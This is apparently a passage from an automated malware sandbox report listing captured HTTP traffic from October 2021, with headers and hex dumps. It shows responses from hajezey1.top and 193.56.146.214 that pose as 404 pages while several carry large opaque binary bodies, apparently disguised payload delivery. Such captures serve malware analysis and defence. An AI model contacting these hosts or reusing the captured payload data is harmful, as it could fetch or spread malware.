74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:30 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:01 GMTContent-Type: text/html; charset=utf-8Content-Length: 7Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 03 00 00 00 1d 3d 5d Data Ascii: =]
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:01 GMTContent-Type: text/html; charset=utf-8Content-Length: 42Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 07 9b 01 c2 40 9c e2 0f b3 66 f5 26 0a 5b 22 f9 6a 00 7e c2 5d 31 0e Data Ascii: Uys/~(`:@f&["j~]1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 13:31:06 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 35 32 37 33 33 0d 0a b8 00 00 00 c7 1a b4 fa 05 54 a4 5f 28 1e c5 73 c8 bb 6f 2d ae 22 c0 a9 8f 89 bd 2a 1c 21 f8 64 eb 16 a1 85 cc be 11 ce 58 26 9a 05 1e 5c c6 c1 69 3a 30 5b 9b c4 28 c2 ef 63 ab b5 4a e8 89 6e 9c 3d f7 c6 fe 06 43 1d 42 b0 fa b9 17 9d bc 30 e1 7d b4 71 0c f3 55 ca a6 9d 45 22 ea 9d de 0a 6c 39 20 12 7c 4b 07 4c f2 97 87 24 3a c2 ff e2 61 c9 ff 82 3e 8d 64 f6 2c 24 84 19 bd fa 7b 18 4f ce fd ab 1c f3 bb 9d 70 2b 2b eb ec 0b b0 37 d1 d7 3d 24 bb 29 51 24 7c 4e e0 35 9d 11 e0 42 10 5e 4d 2f 68 41 22 93 01 8f 26 1e 4b e8 70 6a ed 03 43 fd b3 0a b8 09 cd 31 c3 31 00 76 26 05 00 99 e1 70 64 01 08 02 00 05 00 9c 03 00 00 8f 53 a0 cd 6b ff f3 42 ef be 5f a6 0b 12 1e 00 fa 2d 5f bc 60 48 43 c4 3f a0 d1 42 cb fe 22 d0 1e 94 d6 c5 1a 29 6e 08 cd c8 2d c7 4d 7e 61 df 49 1a 97 84 14 51 2c 4c e4 c5 d6 02 94 b8 c5 49 53 0d 5e 82 e6 83 ab 8e 62 c5 9d 46 0b a0 aa 3e c7 fd d6 bc a4 ad e8 3c 50 ba e0 3c fe e9 66 4d 4e a6 6b ea 3a 3d ce 29 2a 37 e9 6c 89 d6 f5 15 31 cc 37 72 61 7e 22 b0 24 77 36 7c 4e 6b 9a aa 32 ae ff ad 7d d1 69 71 5e 52 c5 cc 89 d6 bb fa 1e 30 d1 95 9d 4c 69 ee fe ef 04 01 d8 3e 1b 87 e4 46 c1 6e fb 21 19 c0 a0 dd 94 37 60 40 b8 71 82 cf 26 ba ba 93 8d d0 d2 c2 59 ae 5a 2b f1 dd f6 78 90 66 b1 4e ca f3 88 94 76 73 aa 67 95 39 13 f9 1a 7e db 59 b0 5a be ea a7 57 2c da 41 2f 3b 44 99 a6 d1 e3 ae 5d 44 1c 04 12 87 6b 36 97 f0 39 ba 17 30 82 22 5d 97 9c 25 f8 0f 01 a5 f3 47 51 4b c6 6c ab e9 ee 5b 16 36 f0 62 25 02 ed 05 a6 10 4e c2 e6 19 fe 62 4e c5 5b d6 25 26 c8 0b 8d ec 99 23 41 05 8c 38 bb 0c c3 e8 42 32 14 41 b7 83 9c af 9a 27 3e 5a 59 7c a3 5e ee 1c 9c 12 fc 53 8b e3 c9 3c 9d f9 b6 c4 e6 9f 86 54 45 f9 ea dc e7 d2 62 dd f4 b6 fc 61 49 d6 3d 2d fb 53 9e df 18 af 5e 30 3d 56 2a 0f 38 20 a4 0d c3 98 c2 87 1d fd 7b 76 27 90 ad 0d f8 1c 82 12 74 be 06 e5 be c0 91 3d 8d d9 76 35 3a 86 ce 8b 57 89 6b 9e 6b 94 4b fe 6e 7b 84 16 f5 b4 5c b4 8f df 2a 68 2b 33 43 0b 6e 60 35 e6 3b 93 c5 fd e6 62 80 69 e2 92 79 02 9e 47 77 90 92 90 52 4f cf 29 e7 8b 19 b7 16 d5 1a 92 65 37 c9 26 3c 17 27 bd 55 08 ce c3 07 7a 53 f1 6f 43 0a 86 a0 32 60 f8 0d f1 24 e9 e4 c0 fb cd ae cb cb 6c 00 9c ef 2f 87 07 95 d6 a2 32 a9 f4 6b d7 2c e8 2c 27 c2 b7 00 ef 75 ec d5 58 86 2a ad a4 97 43 9a 52 8f 28 e9 1b ce e1 d3 d0 78 92 a0 ab 1e e0 dd 3d cc e0 5a 14 90 1d 7d 10 44 b2 b1 04 a8 db 37 c3 a1 bb 3b 1c f8 3e 56 ed 73 dd 7d b0 6b 95 36 fd 00 c5 00 b0 6f 9b 2b 71 fb 79 82 a6 e1 23 c2 b9 8a a8 89 62 ba 2d 12 c6 52 d3 b1 97 b5 64 20 e9 05 e7 b4 dd e7 89 3a 3b a5 25 ec 86 96 39 8e 21 04 ab 93 4a ec 81 e7 55 81 50 94 e0 5b 5b 40 17 8f ac 1e 17 68 a5 e6 f4 09 11 8f 34 77 8f dc 57 87 c9 7d d9 e7 6b 23 6c 4e d0 db 94 61 ae f2 5c 36 c5 15 c9 a7 a3 39 4b 2b 05 81 e2 8b cf fa 08 90 e8 55 0c 8b 78 14 91 04 c2 44 ed b6 c6 17 7c 82 6c 40 c6 ec b6 91 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 13:31:07 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=99Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 39 33 38 30 32 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 1d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 85 a5 24 d1 ee 12 d7 a8 78 27 4c 76 46 ea d6 2c 43 64 1b 67 c4 62 1c 74 29 44 86 43 af 6f a0 68 8a 59 6d 82 4a a7 cf 1f c6 a3 13 69 4a 24 b3 ea 27 63 13 57 70 50 68 6a 3e e0 2f 7a 70 79 23 e3 d8 2f 09 13 72 9b be 7c 42 bf 19 de 6c dc 13 55 70 53 0a 46 17 7c e7 ba 3f dc 9e 2e c9 81 e8 ce 05 4c c4 c1 52 3a 54 6b ad 87 f9 07 87 d6 41 c9 b0 26 1c 94 30 99 7f 5b 92 2a 93 5b af a8 98 7a bd 0b e2 a4 22 3e 1a 20 cc cc b6 ca 21 af ad f5 31 a1 a3 cf 37 1f 5a eb 3f 5c c5 74 59 90 8f f5 06 b6 0e cd 9a df a5 61 69 fd 70 12 70 df ce 22 db e0 ab ab b6 2e 08 8f ff dd 4c 76 20 e1 ff 38 5c 3f 0f 83 d0 20 38 ba 60 bd 59 22 09 79 53 40 98 e3 94 54 f0 2f 60 43 8c 47 f0 86 f8 fb 34 6c 1f f1 69 d5 92 4e 76 8c 96 bd 4a 16 e9 37 a2 55 6b 5f c7 ae 4a 88 54 d9 4e 3d b6 7b 93 fe 88 2c 93 7e 87 12 75 d7 9a db 05 a9 46 75 18 c7 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 69 4f 44 88 fe 40 0a 5c 69 ba e8 33 74 16 00 89 12 1e 0d 63 bb 9c d4 46 d1 64 3b df d5 af 2b 02 57 d3 db 53 3d a0 c3 96 8b 7d 64 17 9a f7 3e c2 56 75 1b e2 95 15 f7 bb 2e 64 35 e2 26 2c 74 a4 34 54 05 91 5f ef 6c 05 23 8f f5 4a b0 de 7f 0d 6a f3 d8 90 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 92 d6 ea 8c 11 7d 72 d7 6a ab c1 39 e2 23 13 96 c4 66 d1 30 80 06 10 b2 9c 78 c6 58 43 f6 e7 2a 92 72 08 aa 14 21 52 ff f3 53 5d b5 78 3d f1 24 a0 e9 37 7f 3b 60 ff f1 ee 71 c0 b6 4f 4d bb 75 4b 53 06 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 d3 03 e8 e9 32 2c 0d 90 db 4f f4 47 d3 1c 4c 93 19 c0 0d 04 7d 76 88 52 8c 2a 01 6e fe ca 39 52 41 cc 35 5f 27 89 98 4c 28 48 94 14 10 02 37 e2 be 43 f0 8b 9a 47 8a 76 1e 5e 84 8e 8e 8b 0d 16 a1 95 87 04 7d 32 7d 42 02 42 39 ad d5 d3 3c 86 63 55 cd b7 fb 29 6d da 0a 1e d7 09 07 99 cb 23 5b c4 b5 b5 5f 7c a9 84 79 89 b1 39 ec 06 88 45 fa e6 58 a9 e6 e8 4f 67 2c 5e db 50 c7 95 e6 d8 99 0a e2 4c c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 76 ed f6 4b a5 53 52 d2 c5 d4 d1 79 5e 67 ad 6d 11 b0 c0 db 31 a0 29 77 31 ac b2 03 07 1e 17 76 28 bc db 58 67 4b 5b 67 c2 3f d3 78 d9 f8 1f ba e2 50 11 3b ec 5f e0 3c c7 4b d4 50 b0 20 e1 1e 34 ef d3 2e ac 9c d8 f7 0d c2 23 af 38 15 06 1f 84 4c 7f 4f 6d 5b df 92 a0 c7 0b 80 51 a9 cd 6d e1 6c 1c 9d 89 05 4d 99 2e b4 58 13 86 89 b0 6e 2c 9c c3 75 44 f4 8b 85 52 2a a2 e4 2f a9 e7 5b 9a 1e bc 79
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:07 GMTContent-Type: text/html; charset=utf-8Content-Length: 327Connection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:31:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.6.40Data Raw: 31 66 34 32 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 57 2b 4d 9c 94 1b 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f eb 92 24 a6 4d c5 03 97 65 a3 61 7e de f5 36 9c 19 17 7e 4f af 9a a5 84 cb a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 31 70 48 9a 07 fd ec 3f 36 7f ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 c5 52 ce 4f 13 79 82 ae 9c f7 ad 4e 3d 79 ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 10 d3 fb 13 7f 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 02 ed fd 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 44 40 40 07 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 40 22 b5 1b 6f d3 cb 29 32 86 e5 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 5b 62 90 58 3f ae 03 5f a0 1f e4 a6 bd 12 9f 10 ff d9 b0 99 b5 9b 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 97 b2 ec a2 94 4a a9 b4 bb d1 46 bb 2a d2 be 45 1f d0 b5 aa 7a 8f 0e 69 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a 56 63 b3 88 7d 3f dc e5 7e 3f a4 70 d4 03 bb 03 9a 76 6a 0f ca 82 c3 26 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 b2 27 70 10 7b 3a 1d f8 08 85 af 88 c1 a4 0e 31 25 4d db a9 c3 f8 cb 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 59 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 13:31:12 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 402Keep-Alive: timeout=5, max=98Connection: Keep-AliveContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 33 2e 35 36 2e 31 34 36 2e 32 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 193.56.146.214 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 29 Oct 2021 13:31:12 GMTServer: Apache/2.4.29 (Ubuntu)Keep-Alive: timeout=5, max=97Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 34 30 30 36 61 0d 0a 00 00 6e 47 17 86 3c 28 c2 36 40 7b b6 16 56 36 0c 45 49 50 b5 c5 ea fa 80 5d 3d 4d 94 01 9f 38 c5 e4 b8 b3 1b e4 69 14 ba 72 71 2e a2 b2 43 37 3a 71 f6 aa 4d af 80 0d c2 d6 60 e5 83 44 7d 49 98 ab 99 7a d3 1e 48 2e 96 0c 59 41 c8 0f 06 51 ea 33 08 e5 01 db b9 93 51 3b a1 fd f4 43 7f 32 3d 09 67 19 00 03 ae df 8e 36 20 d7 fa a7 5c ea c3 c5 0c 90 75 ff 67 5a b4 7c e9 9f 09 79 61 ab 85 ce 60 d5 d3 ef 53 47 4d c5 9c a2 ae 7a b7 be 4f 41 dd 46 29 0a f9 36 87 18 bc 67 b1 2e 7c af 3a 05 14 a5 5d ef 3b f3 56 72 bc 3d 1a 04 b2 50 2a 87 d6 17 8f 3a fa 04 b1 07 a0 e2 19 17 80 2f ba 8e 42 0d 0a 7e 82 cf 27 11 d8 9d 1d b3 9c 88 8a 38 22 7a 6d 2e e6 2a 7e d7 3f dc 9e 2e cb 81 a8 4b 55 09 d4 c1 1e 2b 50 6b bd 8e c3 58 87 c6 41 c9 b0 26 1c 94 c0 99 7d 5a 99 2b 99 5b af 18 9f 7a 95 5f 97 a6 75 3e 1a 20 8c a3 b0 ca 79 f7 ad f5 31 61 a4 cf 37 1f 1a eb 3f ae c6 74 31 8c 8f f5 03 96 0b cd 96 df a5 61 6c fd 71 12 70 df ce 22 db 30 d5 a9 b6 2a 08 8f 01 e9 46 76 22 e1 ff b8 5c 3f 1f 83 d0 30 38 ba 60 bd 49 22 09 69 53 40 98 e3 94 54 e0 2f 60 43 8c 67 f0 86 f0 fb 34 6c 1b 45 6e d5 f6 4e 76 8c 9e cd 37 14 39 7e a2 55 6b 5f c7 ae 4a 88 54 d9 60 49 d3 03 e7 fe 88 2c 3b 4c f9 10 e5 ec 9a db 25 2f 45 75 04 c5 e3 a1 b7 d9 17 81 5d 26 db 3a 35 9d f7 d5 49 4f 44 e8 d0 32 79 2e 0a ba e8 33 ec fd 05 89 52 de 0e 63 bb d6 d4 46 d1 f2 38 df d5 bf 2b 02 87 d2 db 53 3d a0 c3 96 cb 7d 64 57 b4 85 5b ae 39 16 1b e2 99 15 f7 bb 2e 44 31 e2 08 5a 11 dc 40 b4 06 91 b1 41 6b 05 23 9f f5 4a b0 6e 78 0d 2a f7 d8 d2 12 74 3c 8b 08 f5 a5 36 3d 07 4e c4 b2 d6 ea ec 5b ab 10 a3 0b ab c1 39 e2 a7 66 94 c6 a6 d3 30 68 1e 11 b2 18 4c c1 58 40 f6 e7 2a 33 72 08 ac 78 ae 53 ff 0f 71 5f 75 56 4f 82 56 c3 e9 37 7f a3 29 ff f1 ee 21 bd b4 4f 07 bb 75 4b 99 01 ac 67 90 ff 21 62 11 14 74 22 d5 a5 d5 93 03 e8 a9 1c 5e 68 fc b5 2c f4 47 1c 3f 4d 93 1e 60 70 06 72 52 89 52 93 3e 09 6e c1 ca 39 52 3e cc 35 5f d8 89 98 4c 97 49 94 56 ef 01 37 e2 41 44 f0 8b 65 48 8a 76 e1 41 84 8e 71 b4 0d 16 5e ea 87 04 82 cd 7d 42 fd bd 38 ad 2a 2c 3f 86 9c aa ca b7 04 d6 62 da f5 e1 c8 09 f8 66 f4 23 a4 3b ca b5 a0 83 56 84 86 76 4e 38 13 f9 77 46 05 19 a7 ae 19 17 b0 68 d3 a1 24 4f 38 6a 19 e7 66 f5 1d 33 c7 2a 09 c5 ed fc c4 23 ef 28 ef 3e 1c 2b 48 06 30 c8 0b 4c 27 c7 7d e6 c2 6a fd 20 23 71 de a1 9f 39 b0 fc f8 06 04 cd 0b dd 30 d5 71 cf d6 a3 96 5c 41 be c0 52 50 0f fb 75 d2 7a b6 d7 5b d4 77 ed f6 4b a5 53 52 d2 c7 d4 d1 79 5e 67 ad 6d 15 b0 c0 db 31 a0 29 77 39 ac b2 03 07 1e 17 76 38 bc db 58 67 4b 5b 67 e2 3f d3 78 d9 f8 1f ba a2 50 11 3b ec 5f e0 3c 47 4b d4 50 b0 20 e1 1e 34 